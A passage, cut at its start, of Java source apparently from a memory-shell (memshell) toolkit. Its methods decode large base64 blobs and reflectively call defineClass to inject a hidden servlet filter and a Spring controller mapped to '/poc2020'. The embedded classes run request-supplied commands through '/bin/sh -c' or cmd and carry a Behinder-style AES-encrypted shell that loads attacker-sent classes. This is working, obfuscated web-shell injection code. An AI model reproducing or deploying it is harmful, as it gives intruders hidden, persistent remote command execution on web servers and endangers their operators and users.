YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAFAAUEBABBqYXZhL2xhbmcvT2JqZWN0BwFCDAFDAUQMAUUBRgcBAwwBRwFIDAFJAUoBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFLAF8HAUwMAGsBTQEAImNvbS5tZW1zaGVsbC5nZW5lcmljLk15Q2xhc3NMb2FkZXIMAU4BTwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFQAVEHAVIMAVMAXQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVQBUQEDEHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNSTVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2pzQkFBRmpBUUFYVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXRrWldacGJtVkRiR0Z6Y3dFQUxDaGJRa3hxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZZbmwwWlhNQkFBSmJRZ0VBQzJOc1lYTnpURzloWkdWeUFRQUtVMjkxY21ObFJtbHNaUUVBRWsxNVEyeGhjM05NYjJGa1pYSXVhbUYyWVF3QUJnQUhBUUFpWTI5dEwyMWxiWE5vWld4c0wyZGxibVZ5YVdNdlRYbERiR0Z6YzB4dllXUmxjZ3dBRHdBYUFRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QVFBWEtGdENTVWtwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNBSVFBQ0FBVUFBQUFBQUFJQUFBQUdBQWNBQVFBSUFBQUFPZ0FDQUFJQUFBQUdLaXUzQUFHeEFBQUFBZ0FKQUFBQUJnQUJBQUFBQkFBS0FBQUFGZ0FDQUFBQUJnQUxBQXdBQUFBQUFBWUFEUUFPQUFFQUNRQVBBQkFBQVFBSUFBQUFSQUFFQUFJQUFBQVF1d0FDV1N1M0FBTXFBeXErdGdBRXNBQUFBQUlBQ1FBQUFBWUFBUUFBQUFnQUNnQUFBQllBQWdBQUFCQUFFUUFTQUFBQUFBQVFBQk1BRGdBQkFBRUFGQUFBQUFJQUZRPT0MAVUBVgwBVwFYAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAKmNvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNGaWx0ZXJUZW1wbGF0ZQEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABtjb20vbWVtc2hlbGwvZ2VuZXJpYy9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQANZ2V0U3VwZXJjbGFzcwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsAIQBaAD8AAQBbAAEAAgBcAF0AAAAFAAEAXgBfAAEAYAAAADsAAQABAAAACSq3AAEqtwACsQAAAAIAYQAAAA4AAwAAABMABAAUAAgAFQBiAAAADAABAAAACQBjAGQAAAABAGUAZgACAGAAAAA1AAAAAgAAAAGxAAAAAgBhAAAABgABAAAAGgBiAAAAFgACAAAAAQBjAGQAAAAAAAEAZwBoAAEAaQAAAAQAAQBqAAEAawBsAAIAYAAAAuEABwAKAAABprIAAxIEtgAFKxIGuQAHAgDGAJArEga5AAcCABIItgAJmQCAK7gACrkABwIAOgQZBMYAbRkEtgALmgBlAToFsgAMEg22AAmZABsGvQAOWQMSD1NZBBIQU1kFGQRTOgWnABgGvQAOWQMSEVNZBBISU1kFGQRTOgW7ABNZuAAUGQW2ABW2ABa3ABcSGLYAGbYAGjoGLLkAGwEAGQa2ABynAQgrwAAduAAeuQAfAgDGAPErwAAduQAgAQASIbYACZkA07gAIjoEK8AAHbkAIwEAEiQZBLkAJQMAEia4ACc6BRkFBbsAKFm7AClZtwAqK8AAHbkAIwEAEiS5ACsCALYALBIttgAutgAvtgAwEia3ADG2ADIZBbsAM1m3ADQruQA1AQC2ADa2ADe2ADg6Biq0ADkSOgW9ADtZAxI8U1kEEj1TtgA+AQW9AD9ZAxkGU1kEuABAtgBBU7YAQsAAOzoHGQe2AEM6CBkHEkQFvQA7WQMSRVNZBBJGU7YAPjoJGQkZCAW9AD9ZAytTWQQsU7YAQlenABU6BBkEtgBIpwALLSssuQBJAwCxAAEArwGQAZMARwADAGEAAABuABsAAAAeAAgAIQAjACMALgAkADsAJQA+ACYASQAnAGEAKQB2ACsAkgAsAJ0ALgCvADEAwAAyAMUAMwDXADQA3gA1ARIANgEsADcBXgA4AWUAOQF8ADoBkAA+AZMAPAGVAD0BmgA+AZ0AQAGlAEIAYgAAAI4ADgA+AF8AbQBuAAUAkgALAG8AcAAGAC4AbwBxAHAABADFAMsAcgBwAAQA3gCyAHMAdAAFASwAZAB1AHYABgFeADIAdwBdAAcBZQArAHgAeQAIAXwAFAB6AHsACQGVAAUAfAB9AAQAAAGmAGMAZAAAAAABpgB+AH8AAQAAAaYAgACBAAIAAAGmAIIAgwADAIQAAAAZAAj9AGEHAIUHAIYU+QAmAvsA70IHAIcJBwBpAAAABgACAFYAagABAIgAXwABAGAAAAArAAAAAQAAAAGxAAAAAgBhAAAABgABAAAARwBiAAAADAABAAAAAQBjAGQAAAACAIkAXwABAGAAAAIDAAcABwAAAKm4AEC2AEFMKisSSrYAS7UAOacAf00rtgBNTgE6BBkExwAzLRI/pQAtLRI6Br0AO1kDEjxTWQSyAE5TWQWyAE5TtgA+OgSn/9g6BS22AFBOp//OElE6BbsAM1m3ADQZBbYANzoGGQQEtgBSKhkEKwa9AD9ZAxkGU1kEA7gAU1NZBRkGvrgAU1O2AELAADu1ADmnABhMK7YAVacAEEwrtgBXpwAITCu2AFmxAAUABwARABQATAAoAEUASABPAAAAkACTAFQAAACQAJsAVgAAAJAAowBYAAMAYQAAAGoAGgAAAEsABwBNABEAXQAUAE4AFQBPABoAUAAdAFEAKABTAEUAVgBIAFQASgBVAE8AVgBSAFkAVgBaAGQAWwBqAFwAkABkAJMAXgCUAF8AmABkAJsAYACcAGEAoABkAKMAYgCkAGMAqABlAGIAAABwAAsASgAFAIoAiwAFABoAdgCMAF0AAwAdAHMAjQB7AAQAVgA6AI4AcAAFAGQALACPAHYABgAVAHsAfACQAAIABwCJAJEAkgABAJQABAB8AJMAAQCcAAQAfACUAAEApAAEAHwAlQABAAAAqQBjAGQAAACEAAAAOgAJ/wAUAAIHAJYHAJcAAQcAmP4ACAcAmAcAmQcAmmoHAJsJ/wA9AAEHAJYAAEIHAJxHBwCdRwcAngQAAQCfAAAAAgCg";
17 | byte[] bytes = base64Decoder.decodeBuffer(codeClass);
18 |
19 | Method method = null;
20 | Class clz = cl.getClass();
21 | while(method == null && clz != Object.class ){
22 | try{
23 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
24 | }catch(NoSuchMethodException ex){
25 | clz = clz.getSuperclass();
26 | }
27 | }
28 | method.setAccessible(true);
29 | clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
30 | }
31 |
32 | return clazz;
33 | }
34 |
35 | public static Class getDynamicControllerTemplateClass(){
36 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
37 | Class clazz = null;
38 | try{
39 | clazz = classLoader.loadClass("com.memshell.generic.DynamicControllerTemplate");
40 | }catch(ClassNotFoundException e){
41 | try{
42 | BASE64Decoder base64Decoder = new BASE64Decoder();
43 | String codeClass = "yv66vgAAADIBUQoAPgCbCgBYAJwJAJ0AnggAnwoAoAChCACiCwCjAKQIAKUKAA4ApgoApwCoCgAOAKkJAKoAqwgArAcArQgArggArwgAaAgAsAcAsQoAsgCzCgCyALQKALUAtgoAEwC3CAC4CgATALkKABMAugsAuwC8CgC9AKEKAKcAvgsAowC/CwCjAMAIAMEKAKcAwgsAowDDCADECwDFAMYIAMcKAMgAyQcAygcAywoAKACbCwDFAMwKACgAzQgAzgoAKADPCgAoANAKAA4A0QoAJwDSCgDIANMHANQKADIAmwsAowDVCgDWANcKADIA2AoAyADZCQBYANoIANsHANwHAG0HAN0KADoA3gcA3woA4ADhCgDgAOIKAOMA5AoAOgDlCADmBwDnBwDoBwDpCgBGAOoIAOsKADwA7AcA7QoAPgDuCQDvAPAHAPEKADoA8ggA8woA4wD0CgDvAPUHAPYKAFIA6gcA9woAVADqBwD4CgBWAOoHAPkBABJteUNsYXNzTG9hZGVyQ2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTGNvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNDb250cm9sbGVyVGVtcGxhdGU7AQAFbG9naW4BAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAJbQgEACWV2aWxDbGFzcwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcArQcAZQcA6QEACkV4Y2VwdGlvbnMBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEACC9wb2MyMDIwAQAKaW5pdGlhbGl6ZQEAAmV4AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAFY2xhenoBAAZtZXRob2QBAARjb2RlAQAFYnl0ZXMBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsHAPkHAN0HAO0HANwHAPoHAPEHAPYHAPcHAPgBAApTb3VyY2VGaWxlAQAeRHluYW1pY0NvbnRyb2xsZXJUZW1wbGF0ZS5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAWwBcDACCAFwHAPsMAPwA/QEAIVsrXSBEeW5hbWljIENvbnRyb2xsZXIgc2F5cyBoZWxsbwcA/gwA/wEAAQAEdHlwZQcBAQwBAgEDAQAFYmFzaWMMAOYBBAcBBQwBBgEHDAEIAQkHAQoMAQsAZwEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcBDAwBDQEODAEPARAHAREMARIBEwwAWwEUAQACXEEMARUBFgwBFwEHBwEYDAEZARoHARsMARwBBwwBHAEDDAEdAQcBAARQT1NUDAEeAQcMAR8BIAEAAXUHASEMASIBIwEAA0FFUwcBJAwBJQEmAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEnASgMASkBKgEAAAwBKQErDAEsAQcMAS0BLgwAWwEvDAEwATEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEyATMHATQMATUBBwwBNgE3DAE4ATkMAFkAWgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAE6ATsBABBqYXZhL2xhbmcvT2JqZWN0BwE8DAE9AT4MAT8BQAcA+gwBQQFCDAFDAUQBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFFAFwBACJjb20ubWVtc2hlbGwuZ2VuZXJpYy5NeUNsYXNzTG9hZGVyDAFGAUcBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgwBSAFJBwFKDAFLAFoBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uDAFMAUkBAxB5djY2dmdBQUFESUFHd29BQlFBV0J3QVhDZ0FDQUJZS0FBSUFHQWNBR1FFQUJqeHBibWwwUGdFQUdpaE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3lsV0FRQUVRMjlrWlFFQUQweHBibVZPZFcxaVpYSlVZV0pzWlFFQUVreHZZMkZzVm1GeWFXRmliR1ZVWVdKc1pRRUFCSFJvYVhNQkFDUk1ZMjl0TDIxbGJYTm9aV3hzTDJkbGJtVnlhV012VFhsRGJHRnpjMHh2WVdSbGNqc0JBQUZqQVFBWFRHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNCQUF0a1pXWnBibVZEYkdGemN3RUFMQ2hiUWt4cVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSTdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFGWW5sMFpYTUJBQUpiUWdFQUMyTnNZWE56VEc5aFpHVnlBUUFLVTI5MWNtTmxSbWxzWlFFQUVrMTVRMnhoYzNOTWIyRmtaWEl1YW1GMllRd0FCZ0FIQVFBaVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2d3QUR3QWFBUUFWYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeUFRQVhLRnRDU1VrcFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQUlRQUNBQVVBQUFBQUFBSUFBQUFHQUFjQUFRQUlBQUFBT2dBQ0FBSUFBQUFHS2l1M0FBR3hBQUFBQWdBSkFBQUFCZ0FCQUFBQUJBQUtBQUFBRmdBQ0FBQUFCZ0FMQUF3QUFBQUFBQVlBRFFBT0FBRUFDUUFQQUJBQUFRQUlBQUFBUkFBRUFBSUFBQUFRdXdBQ1dTdTNBQU1xQXlxK3RnQUVzQUFBQUFJQUNRQUFBQVlBQVFBQUFBZ0FDZ0FBQUJZQUFnQUFBQkFBRVFBU0FBQUFBQUFRQUJNQURnQUJBQUVBRkFBQUFBSUFGUT09DAFNAU4MAU8BUAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BAC5jb20vbWVtc2hlbGwvZ2VuZXJpYy9EeW5hbWljQ29udHJvbGxlclRlbXBsYXRlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAbY29tL21lbXNoZWxsL2dlbmVyaWMvQ29uZmlnAQALZ2V0UGFzc3dvcmQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZG9GaW5hbAEABihbQilbQgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAFgAPgAAAAEAAgBZAFoAAAADAAEAWwBcAAEAXQAAADsAAQABAAAACSq3AAEqtwACsQAAAAIAXgAAAA4AAwAAABYABAAXAAgAGABfAAAADAABAAAACQBgAGEAAAABAGIAYwADAF0AAAKuAAcACQAAAYayAAMSBLYABSsSBrkABwIAxgCLKxIGuQAHAgASCLYACZkAeyu4AAq5AAcCAE4txgBqLbYAC5oAYwE6BLIADBINtgAJmQAaBr0ADlkDEg9TWQQSEFNZBS1TOgSnABcGvQAOWQMSEVNZBBISU1kFLVM6BLsAE1m4ABQZBLYAFbYAFrcAFxIYtgAZtgAaOgUsuQAbAQAZBbYAHKcA7Su4AB25AB4CAMYA4Su5AB8BABIgtgAJmQDLuAAhTiu5ACIBABIjLbkAJAMAEiW4ACY6BBkEBbsAJ1m7AChZtwApK7kAIgEAEiO5ACoCALYAKxIstgAttgAutgAvEiW3ADC2ADEZBLsAMlm3ADMruQA0AQC2ADW2ADa2ADc6BSq0ADgSOQW9ADpZAxI7U1kEEjxTtgA9AQW9AD5ZAxkFU1kEuAA/tgBAU7YAQcAAOjoGGQa2AEI6BxkGEkMFvQA6WQMSRFNZBBJFU7YAPToIGQgZBwW9AD5ZAytTWQQsU7YAQVenAAhOLbYAR7EAAQCnAX0BgABGAAMAXgAAAGYAGQAAABwACAAeACMAIAAtACEAOAAiADsAIwBGACQAXQAmAHEAKACNACkAmAArAKcALgC1AC8AuQAwAMcAMQDOADIA/wAzARkANAFLADUBUgA2AWkANwF9ADsBgAA5AYEAOgGFAD0AXwAAAIQADQA7AF0AZABlAAQAjQALAGYAZwAFAC0AawBoAGcAAwC5AMQAaQBnAAMAzgCvAGoAawAEARkAZABsAG0ABQFLADIAbgBaAAYBUgArAG8AcAAHAWkAFABxAHIACAGBAAQAcwB0AAMAAAGGAGAAYQAAAAABhgB1AHYAAQAAAYYAdwB4AAIAeQAAABgAB/0AXQcAegcAexP5ACYC+wDhQgcAfAQAfQAAAAQAAQBUAH4AAAAOAAEAfwABAIBbAAFzAIEAAgCCAFwAAQBdAAACAwAHAAcAAACpuAA/tgBATCorEki2AEm1ADinAH9NK7YAS04BOgQZBMcAMy0SPqUALS0SOQa9ADpZAxI7U1kEsgBMU1kFsgBMU7YAPToEp//YOgUttgBOTqf/zhJPOgW7ADJZtwAzGQW2ADY6BhkEBLYAUCoZBCsGvQA+WQMZBlNZBAO4AFFTWQUZBr64AFFTtgBBwAA6tQA4pwAYTCu2AFOnABBMK7YAVacACEwrtgBXsQAFAAcAEQAUAEoAKABFAEgATQAAAJAAkwBSAAAAkACbAFQAAACQAKMAVgADAF4AAABqABoAAABBAAcAQwARAFMAFABEABUARQAaAEYAHQBHACgASQBFAEwASABKAEoASwBPAEwAUgBPAFYAUABkAFEAagBSAJAAWgCTAFQAlABVAJgAWgCbAFYAnABXAKAAWgCjAFgApABZAKgAWwBfAAAAcAALAEoABQCDAIQABQAaAHYAhQBaAAMAHQBzAIYAcgAEAFYAOgCHAGcABQBkACwAiABtAAYAFQB7AHMAiQACAAcAiQCKAIsAAQCUAAQAcwCMAAEAnAAEAHMAjQABAKQABABzAI4AAQAAAKkAYABhAAAAeQAAADoACf8AFAACBwCPBwCQAAEHAJH+AAgHAJEHAJIHAJNqBwCUCf8APQABBwCPAABCBwCVRwcAlkcHAJcEAAIAmAAAAAIAmQB+AAAABgABAJoAAA==";
44 | byte[] bytes = base64Decoder.decodeBuffer(codeClass);
45 |
46 | Method method = null;
47 | Class clz = classLoader.getClass();
48 | while(method == null && clz != Object.class ){
49 | try{
50 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
51 | }catch(NoSuchMethodException ex){
52 | clz = clz.getSuperclass();
53 | }
54 | }
55 | method.setAccessible(true);
56 | clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
57 | }catch (Exception ex){
58 | //continue;
59 | }
60 | }
61 |
62 | return clazz;
63 | }
64 |
